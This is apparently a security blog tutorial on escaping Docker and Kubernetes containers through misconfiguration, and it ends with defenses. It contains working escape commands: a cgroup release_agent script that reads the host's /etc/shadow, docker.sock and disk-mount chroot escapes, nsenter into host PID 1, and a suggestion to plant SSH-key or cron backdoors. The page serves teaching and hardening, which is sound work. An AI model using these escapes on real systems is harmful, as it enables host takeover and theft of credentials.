Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Containers share the host kernel with every other container and with the host itself; the isolation between them is a set of Linux kernel features — namespaces, cgroups, capabilities, and (optionally) seccomp/AppArmor/SELinux — rather than a hardware boundary like a VM’s hypervisor. When a container is started with elevated rights or with parts of the host filesystem, process tree, or network namespace exposed to it, that isolation is deliberately weakened, and a process inside the container can step outside it and act as root on the underlying node. This is the single most common root cause of container-to-host compromise in real engagements: not a kernel 0-day, but a misconfigured docker run flag or Kubernetes Pod spec that an operator added for convenience and never revisited.
The impact of a container escape is total: the attacker goes from “one compromised microservice” to “root on the node,” which in a Kubernetes cluster usually means the kubelet credentials, every secret mounted into every pod on that node, and often a path to the rest of the cluster via the node’s service account token or cloud IMDS access. Because privileged mode and host mounts are frequently added just to “get CI working,” they show up constantly in cloud-native environments, making this one of the first things to check when a container is the initial foothold.
Attack Prerequisites
A container escape via misconfiguration requires code execution inside a container that has been given more access to the host than it needs:
- Code execution inside a container — via an application vulnerability (RCE, SSRF, deserialization), a compromised base image, or a poisoned dependency.
- The container/Pod runs
--privileged, or holds dangerous capabilities likeSYS_ADMIN,SYS_PTRACE, orSYS_MODULE. - A sensitive host path is bind-mounted in —
/,/etc,/var/run/docker.sock,/proc,/var/lib/kubelet, or ahostPathvolume. - Host namespaces are shared —
hostPID,hostNetwork, orhostIPC: truein a Pod spec, or--pid=host/--net=hostondocker run. - No seccomp/AppArmor profile is enforced.
How It Works
--privileged in Docker (and the equivalent securityContext.privileged: true in Kubernetes) disables almost every isolation control at once: it grants all Linux capabilities, disables the seccomp and AppArmor/SELinux confinement, and — critically — lifts the device cgroup restrictions, so the container can see and mknod host block devices. A process with CAP_SYS_ADMIN and access to /dev/sda (or whichever device backs the host’s root filesystem) can simply mount the host’s disk read-write from inside the container and chroot into it, at which point it is operating as root on the host filesystem with no further tricks required.
Even without full --privileged, individual capabilities and mounts are independently dangerous. SYS_ADMIN alone allows mount operations and, on hosts still exposing cgroup v1, has historically enabled release_agent-based escapes. Mounting the host’s Docker or containerd socket (/var/run/docker.sock) into a container is functionally equivalent to giving that container root on the host, because the socket is an unauthenticated RPC channel to the daemon that will happily create a new privileged container with the host’s / bind-mounted in on request — the attacker doesn’t need to escape the current container at all, they just ask the daemon to start one that already owns the host. Sharing the host PID namespace (hostPID/--pid=host) lets a container see and nsenter into every process on the host, including init, which runs as root in namespace 1.
hostPath volumes in Kubernetes are the equivalent of Docker’s -v /host/path:/container/path bind mounts, dangerous in proportion to how much of the host they expose and whether the mount is writable. Mounting / read-write, /etc (to overwrite /etc/shadow or a cron job), or /var/lib/kubelet/pods (to read other pods’ tokens and secret volumes from disk) are all common findings. Because hostPath is resolved and enforced entirely on the node, PodSecurity admission or an OPA/Kyverno policy is required to stop it — there is no namespace-scoped RBAC control that blocks a Pod spec from requesting one.
Vulnerable Code / Configuration
The classic vulnerable docker run invocation — privileged mode plus a docker.sock mount, both commonly seen bolted onto CI runners or “docker-in-docker” build agents:
# VULNERABLE: full privileged mode, host PID/net namespaces shared,
# and the daemon socket mounted straight in.
docker run -d \
--privileged \
--pid=host \
--net=host \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /:/host \
myorg/ci-runner:latest
BashThe equivalent Kubernetes Pod spec — the same mistakes as manifest fields, often found in monitoring DaemonSets or hand-rolled build pods:
apiVersion: v1
kind: Pod
metadata:
name: build-agent
spec:
hostPID: true # can see and nsenter host processes
hostNetwork: true # shares the host's network namespace
containers:
- name: agent
image: myorg/build-agent:latest
securityContext:
privileged: true # all capabilities, no seccomp/AppArmor
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: / # entire host filesystem, read-write
type: Directory
YAMLA narrower but equally exploitable variant: no privileged: true, just CAP_SYS_ADMIN plus the legacy cgroup v1 release_agent mechanism. The container mounts its own cgroup filesystem read-write and registers a release_agent script that the kernel executes on the host the next time a cgroup empties out:
# Container only needs: --cap-add=SYS_ADMIN (no --privileged required)
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
printf '#!/bin/sh\ncat /etc/shadow > /tmp/cgrp/output\n' > /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # trigger release_agent
cat /output # host's /etc/shadow, read from inside the container
BashWalkthrough / Exploitation
With RCE in a container that has docker.sock mounted in, the fastest path off the box is not a kernel exploit — it’s asking the daemon, which trusts anyone who can reach the socket, to run a new privileged container for you:
# Confirm the socket is reachable and talk to it with the installed docker CLI
# (or curl --unix-socket if the CLI isn't present in the image)
docker -H unix:///var/run/docker.sock info
# Ask the daemon for a fresh container with the host root bind-mounted in
docker -H unix:///var/run/docker.sock run -it --rm \
-v /:/host --privileged --pid=host \
alpine chroot /host /bin/sh
# Now root on the underlying host, outside any container boundary.
BashWithout a docker.sock mount, but with --privileged and a visible host block device, escape via disk mount and chroot:
# Inside the privileged container, enumerate host block devices
fdisk -l
mount /dev/sda1 /mnt
chroot /mnt /bin/bash
# root filesystem is now the host's; add an SSH key or a cron backdoor,
# or simply read /etc/shadow and every secret on disk.
BashWith shared hostPID, escape via nsenter into host init’s namespaces instead of a filesystem mount: ps aux shows host processes including PID 1, then nsenter --target 1 --mount --uts --ipc --net --pid -- bash drops into the host’s namespaces directly.
Note: Cloud-managed Kubernetes (EKS, GKE, AKS) hardens the kubelet and node OS, but none of that stops a
hostPath: /or--privilegedPod that the cluster’s own RBAC/admission policy allowed to be created — node hardening is irrelevant if the Pod spec itself is trusted to do whatever it wants.
Opsec: The
release_agenttechnique only works on hosts still exposing cgroup v1 (many modern distros default to cgroup v2); checkmount | grep cgroupbefore relying on it, and prefer the docker.sock or disk-mount paths when available since they are more broadly reliable.
Detection and Defense
The fix is almost always “don’t grant the access in the first place” — container escape via misconfiguration is prevented at admission time, not detected after the fact, though both matter:
- Never run
--privileged/securityContext.privileged: truein production; add only the specific capability needed via--cap-add/securityContext.capabilities.addinstead of the whole set. - Never mount
/var/run/docker.sock(or the containerd/CRI-O socket) into an application container — treat the mount as equivalent to handing out root on the node. - Restrict
hostPathvolumes with Kubernetes admission control — Pod Security Admission’srestrictedprofile, or an OPA Gatekeeper / Kyverno policy denyinghostPath,hostPID,hostNetwork,hostIPC, and privileged containers outright. - Enforce seccomp and drop capabilities by default — a cluster-wide
RuntimeDefaultseccomp profile pluscapabilities.drop: ["ALL"], adding back only what is required. - Run containers as non-root with a read-only root filesystem (
runAsNonRoot: true,readOnlyRootFilesystem: true). - Detect via Falco rules on privileged-container launches, sensitive-path mounts, and
release_agentwrites, or audit logging on the Docker/containerd API.
Real-World Impact
Privileged-container and hostPath escapes are a recurring finding in Kubernetes penetration tests and cloud security assessments precisely because they are configuration mistakes rather than software bugs — they persist until someone audits Pod specs directly. They are a standard technique covered in MITRE ATT&CK for Containers (Escape to Host, T1611) and recur identically across Docker, Docker Compose, and Kubernetes.
Conclusion
Container isolation is a set of Linux kernel controls, and --privileged, a docker.sock mount, a broad hostPath, and a shared host namespace each independently remove a layer of it. None require a kernel exploit — they are designed features used exactly as documented, just against the operator’s intent. The durable fix is least privilege by default: no privileged containers, no docker.sock in application pods, tightly scoped hostPath mounts, and admission control rejecting the dangerous fields before a Pod is ever scheduled.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments